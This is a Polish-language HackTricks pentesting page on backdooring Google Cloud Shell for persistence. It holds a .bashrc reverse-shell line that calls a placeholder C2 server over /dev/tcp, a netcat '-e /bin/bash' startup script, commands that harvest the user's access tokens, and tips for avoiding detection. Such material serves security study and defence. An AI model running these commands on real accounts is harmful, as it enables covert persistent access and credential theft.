GCP - Cloud Shell Persistence

Support HackTricks

Cloud Shell

Aby uzyskać więcej informacji, sprawdź:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell zapewnia dostęp do zasobów chmurowych za pomocą wiersza poleceń bezpośrednio z przeglądarki bez żadnych związanych kosztów.

Możesz uzyskać dostęp do Cloud Shell Google'a z konsoli internetowej lub uruchamiając gcloud cloud-shell ssh.

Ta konsola ma kilka interesujących możliwości dla atakujących:

  1. Każdy użytkownik Google z dostępem do Google Cloud ma dostęp do w pełni uwierzytelnionej instancji Cloud Shell (Konta serwisowe mogą, nawet będąc właścicielami organizacji).

  2. Ta instancja zachowa swój katalog domowy przez co najmniej 120 dni, jeśli nie zajdzie żadna aktywność.

  3. Nie ma możliwości monitorowania aktywności tej instancji przez organizację.

Oznacza to, że atakujący może umieścić backdoora w katalogu domowym użytkownika, a tak długo jak użytkownik łączy się z GC Shell co 120 dni przynajmniej, backdoor przetrwa, a atakujący uzyska powłokę za każdym razem, gdy zostanie uruchomiony, po prostu wykonując:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

W folderze domowym znajduje się inny plik o nazwie .customize_environment, który, jeśli istnieje, będzie wykonywany za każdym razem, gdy użytkownik uzyskuje dostęp do cloud shell (jak w poprzedniej technice). Wystarczy wstawić poprzedni backdoor lub jeden podobny do poniższego, aby utrzymać persistencję tak długo, jak użytkownik "często" korzysta z cloud shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Ważne jest, aby zauważyć, że za pierwszym razem, gdy wykonywana jest akcja wymagająca uwierzytelnienia, w przeglądarce użytkownika pojawia się okno autoryzacji. To okno musi zostać zaakceptowane, zanim polecenie będzie mogło zostać wykonane. Jeśli pojawi się niespodziewane okno, może to budzić podejrzenia i potencjalnie zagrozić metodzie utrzymywania dostępu, która jest używana.

To jest okno pop-up z wykonania gcloud projects list z cloud shell (jako atakujący) widziane w sesji użytkownika w przeglądarce:

Jednak jeśli użytkownik aktywnie korzystał z cloudshell, okno pop-up się nie pojawi, a ty możesz zbierać tokeny użytkownika za pomocą:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Jak nawiązywane jest połączenie SSH

W zasadzie używane są te 3 wywołania API:

Ale możesz znaleźć więcej informacji w https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Odniesienia

Wsparcie HackTricks

Last updated